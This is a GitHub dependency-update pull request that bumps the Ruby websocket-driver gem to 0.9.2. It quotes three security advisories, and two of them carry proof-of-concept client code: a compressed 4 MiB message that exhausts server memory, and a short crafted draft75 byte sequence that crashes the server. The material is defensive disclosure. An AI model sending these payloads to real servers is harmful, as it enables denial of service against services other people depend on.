Skip to content

🚨 [security] [ruby] Update websocket-driver 0.8.2 → 0.9.2 (major) - #6243

Merged
depfu[bot] merged 1 commit into
developfrom
depfu/update/websocket-driver-0.9.2
Dec 1, 2026
Merged

depfu[bot] merged 1 commit into
developfrom
depfu/update/websocket-driver-0.9.2

Conversation

@depfu

@depfu depfu Bot commented Dec 1, 2026

Copy link
Copy Markdown
Contributor

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

↗️ websocket-driver (indirect, 0.8.2 → 0.9.2) · Repo · Changelog

Security Advisories 🚨

🚨 permessage-deflate-ruby: Memory exhaustion triggered by message decompression

Summary

An unauthenticated remote client can cause a server to allocate memory with a much larger size than the message sent over the wire, potentially bypassing configured message size limits. This may cause the server to run out of memory and crash.

Details

permessage-deflate is used to add support for compression extensions to websocket-driver, faye-websocket and other libraries based on these packages. A client with this extension activated can compress a very large message consisting of one byte repeated many times to around 1/1,000 of its original size before sending it to the server. Upon receiving such a message, the server will decompress it, and thereby allocate a buffer 1,000 times larger than the received WebSocket frame. The client may abuse this to cause the server to allocate such much that it runs out of memory and crashes. This is possible even if the client is using the most conservative possible parameters for the extension in terms of minimising zlib memory usage.

If a :max_length option has been set by websocket-driver or faye-websocket, this is not passed on to the permessage-deflate extension. The extension fully decompresses the received message, and only after this has happened does websocket-driver decide whether the message is too large.

To mitigate this, permessage-deflate has been updated to accept the :max_length option and enforce this as it consumes the zlib inflate output stream. For this to take effect, websocket-extensions and websocket-driver must also be upgraded in order to forward the :max_length option to the extension.

Alternatively, the vulnerability can be mitigated by removing the permessage-deflate extension from the server configuration.

Proof of concept

A server is affected by this if it is running any WebSocket processing stack that includes this extension. For example, the following server uses the extension via websocket-driver with max_length set to 1 MiB.

require 'eventmachine'
require 'websocket/driver'
require 'permessage_deflate'

module Connection
def initialize
@driver = WebSocket::Driver.server(self, :max_length => 1 << 20)
@driver.add_extension(PermessageDeflate)

<span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-pds">:connect</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> |<span class="pl-s1">ev</span>| <span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">start</span> <span class="pl-k">if</span> <span class="pl-v">WebSocket</span>::<span class="pl-v">Driver</span><span class="pl-kos">.</span><span class="pl-en">websocket?</span> <span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">env</span> <span class="pl-kos">}</span>
<span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-pds">:close</span><span class="pl-kos">)</span>   <span class="pl-kos">{</span> |<span class="pl-s1">ev</span>| <span class="pl-en">close_connection_after_writing</span> <span class="pl-kos">}</span>
<span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-pds">:message</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> |<span class="pl-s1">ev</span>| <span class="pl-en">p</span> <span class="pl-kos">[</span><span class="pl-pds">:msg</span><span class="pl-kos">,</span> <span class="pl-s1">ev</span><span class="pl-kos">.</span><span class="pl-en">data</span><span class="pl-kos">.</span><span class="pl-en">bytesize</span><span class="pl-kos">]</span> <span class="pl-kos">}</span>

end

def receive_data(data)
p [:io, data.bytesize]
@driver.parse(data)
end

def write(data)
send_data(data)
end
end

EM.run {
EM.start_server('127.0.0.1', 8000, Connection)
}

A client can trigger a larger than expected allocation by sending a message that is larger than the server's configured max_length, for example:

require 'eventmachine'
require 'websocket/driver'
require 'permessage_deflate'

module Connection
attr_accessor :url

def connection_completed
@driver = WebSocket::Driver.client(self)
@driver.add_extension(PermessageDeflate)

<span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-pds">:open</span><span class="pl-kos">)</span>  <span class="pl-kos">{</span> |<span class="pl-s1">ev</span>| <span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">binary</span><span class="pl-kos">(</span><span class="pl-s">"<span class="pl-cce">\x00</span>"</span> * <span class="pl-kos">(</span><span class="pl-c1">4</span> &lt;&lt; <span class="pl-c1">20</span><span class="pl-kos">)</span><span class="pl-kos">)</span> <span class="pl-kos">}</span>
<span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-pds">:close</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> |<span class="pl-s1">ev</span>| <span class="pl-en">p</span> <span class="pl-s1">ev</span> <span class="pl-kos">}</span>

<span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">start</span>

end

def receive_data(data)
@driver.parse(data)
end

def write(data)
send_data(data)
end
end

EM.run {
url = 'ws://127.0.0.1:8000/'
uri = URI.parse(url)

EM.connect(uri.host, uri.port, Connection) do |conn|
conn.url = url
end
}

Running this client will cause the server to print that it received 4,089 bytes, but did not emit a message event, and the client exits with this close event:

#<struct WebSocket::Driver::CloseEvent code=1009, reason="WebSocket frame length too large">

Although the server rejects the message as too large, it will in fact have inflated it to its full size of 4 MiB before making this decision.

After installing the patched release(s), the client will instead print:

#<struct WebSocket::Driver::CloseEvent code=1009, reason="permessage-deflate: WebSocket frame length too large after decompression">

The changed error message indicates that the extension is rejecting the message after max_length bytes have been output by zlib, and it stops consuming the output stream before the message is fully inflated.

Impact

Users running permessage-deflate on a server in a memory-constrained environment may be at risk of denial of service that can be triggered by an unauthenticated remote client. Users should upgrade packages as indicated by this advisory, or remove permessage-deflate from their configuration.

🚨 websocket-driver: Message corruption and denial of service triggered by crafted client message

Summary

An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.

Details

The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.

To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allow_drafts: true when creating a driver instance.

Proof of concept

Given a server using websocket-driver to handle WebSocket connections:

require 'eventmachine'
require 'websocket/driver'

module Connection
def initialize
@driver = WebSocket::Driver.server(self)

<span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-pds">:connect</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> |<span class="pl-s1">ev</span>| <span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">start</span> <span class="pl-k">if</span> <span class="pl-v">WebSocket</span>::<span class="pl-v">Driver</span><span class="pl-kos">.</span><span class="pl-en">websocket?</span> <span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">env</span> <span class="pl-kos">}</span>
<span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-pds">:close</span><span class="pl-kos">)</span>   <span class="pl-kos">{</span> |<span class="pl-s1">ev</span>| <span class="pl-en">close_connection_after_writing</span> <span class="pl-kos">}</span>
<span class="pl-c1">@driver</span><span class="pl-kos">.</span><span class="pl-en">on</span><span class="pl-kos">(</span><span class="pl-pds">:message</span><span class="pl-kos">)</span> <span class="pl-kos">{</span> |<span class="pl-s1">ev</span>| <span class="pl-en">p</span> <span class="pl-kos">[</span><span class="pl-pds">:msg</span><span class="pl-kos">,</span> <span class="pl-s1">ev</span><span class="pl-kos">.</span><span class="pl-en">data</span><span class="pl-kos">]</span> <span class="pl-kos">}</span>

end

def receive_data(data)
@driver.parse(data)
end

def write(data)
send_data(data)
end
end

EM.run {
EM.start_server('127.0.0.1', 8000, Connection)
}

A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:

require 'eventmachine'
require 'uri'

module Connection
def connection_completed
send_data [
'GET / HTTP/1.1',
'Host: 127.0.0.1:8000',
'Connection: upgrade',
'Upgrade: websocket',
'', ''
].join("\r\n")

<span class="pl-en">send_data</span> <span class="pl-kos">[</span><span class="pl-c1">0x00</span><span class="pl-kos">,</span> <span class="pl-c1">0x48</span><span class="pl-kos">,</span> <span class="pl-c1">0x69</span><span class="pl-kos">,</span> <span class="pl-c1">0xff</span><span class="pl-kos">]</span><span class="pl-kos">.</span><span class="pl-en">pack</span><span class="pl-kos">(</span><span class="pl-s">'C*'</span><span class="pl-kos">)</span>
<span class="pl-en">send_data</span> <span class="pl-kos">[</span><span class="pl-c1">0x80</span><span class="pl-kos">,</span> <span class="pl-c1">0x01</span><span class="pl-kos">,</span> <span class="pl-c1">0xff</span><span class="pl-kos">]</span><span class="pl-kos">.</span><span class="pl-en">pack</span><span class="pl-kos">(</span><span class="pl-s">'C*'</span><span class="pl-kos">)</span>

end
end

EM.run {
url = 'ws://127.0.0.1:8000/'
uri = URI.parse(url)

EM.connect(uri.host, uri.port, Connection)
}

This client will cause the server to emit the message Hi twice when it was only sent once. If the first frame is omitted and the client sends only 80 01 ff, then the server crashes.

After upgrading to a patched version, both these situations are handled correctly if allow_drafts: true is set. If it is not set then the connection is rejected as a bad request.

Impact

Users running a server using websocket-driver to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.

🚨 websocket-driver: Memory exhaustion triggered by buffering of data received after socket is closed

Summary

A WebSocket server implemented using websocket-driver can be made to buffer data in memory indefinitely by a client that connects, sends a single close frame, and then leaves its side of the connection open while it continues to send more data over the connection.

Details

When used as documented, a server handles WebSocket connections by piping all bytes received over a TCP socket into the driver object provided by this library. On receipt of a WebSocket close frame, the driver emits a close event, which the caller should handle by closing the TCP socket. However, since TCP allows sockets to remain half-open, the client can keep its side of the socket open and keep sending data. Due to the state the driver enters after the close event, this data will be buffered in memory but never consumed by the parser. An attacker can exploit this by sending an indefinite stream of bytes over the socket until it causes the server to run out of memory.

This has been mitigated by destroying the buffer when the socket undergoes any failure event, including an explicit close. The buffer is dereferenced and no further data will be added to it, and it should eventually be garbage collected along with the rest of the connection objects.

Impact

A server using websocket-driver can be made to run out of memory and crash by an unauthenticated remote attacker by sending sufficient data over a single socket.

Release Notes

0.9.1 (from changelog)

  • Stop buffering incoming data after a socket has failed or been closed

0.9.0 (from changelog)

  • Add allow_drafts option to explicitly enable support for draft75 and draft76 protocols; these are now disabled by default
  • Forward the max_length option to any registered extensions
  • Fix bug in draft75 parser that could cause message corruption or crashes if the byte 0xFF appears in a byte stream following a length prefix
  • Correctly handle cases where the Sec-WebSocket-Key1 or Sec-WebSocket-Key2 header produces an invalid value

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 16 commits:


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu Bot added dependencies Pull requests that update a dependency file Security Update A label to identify dependency updates containing security fixes labels Dec 1, 2026
@codecov

codecov Bot commented Dec 1, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 82.46%. Comparing base (82ce40d) to head (76e2e64).

Additional details and impacted files
@@             Coverage Diff             @@
##           develop    #6243      +/-   ##
===========================================
- Coverage    82.49%   82.46%   -0.03%     
===========================================
  Files         1346     1346              
  Lines        33035    33035              
  Branches      3611     3611              
===========================================
- Hits         27251    27243       -8     
- Misses        4939     4948       +9     
+ Partials       845      844       -1     
Flag Coverage Δ
javascript 10.68% <ø> (ø)
ruby 83.72% <ø> (-0.02%) ⬇️

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@yoldas

yoldas commented Dec 1, 2026

Copy link
Copy Markdown
Member

@depfu merge

@depfu
depfu Bot merged commit d45147c into develop Dec 1, 2026
16 checks passed
@depfu
depfu Bot deleted the depfu/update/websocket-driver-0.9.2 branch December 1, 2026 22:30
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file Security Update A label to identify dependency updates containing security fixes

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant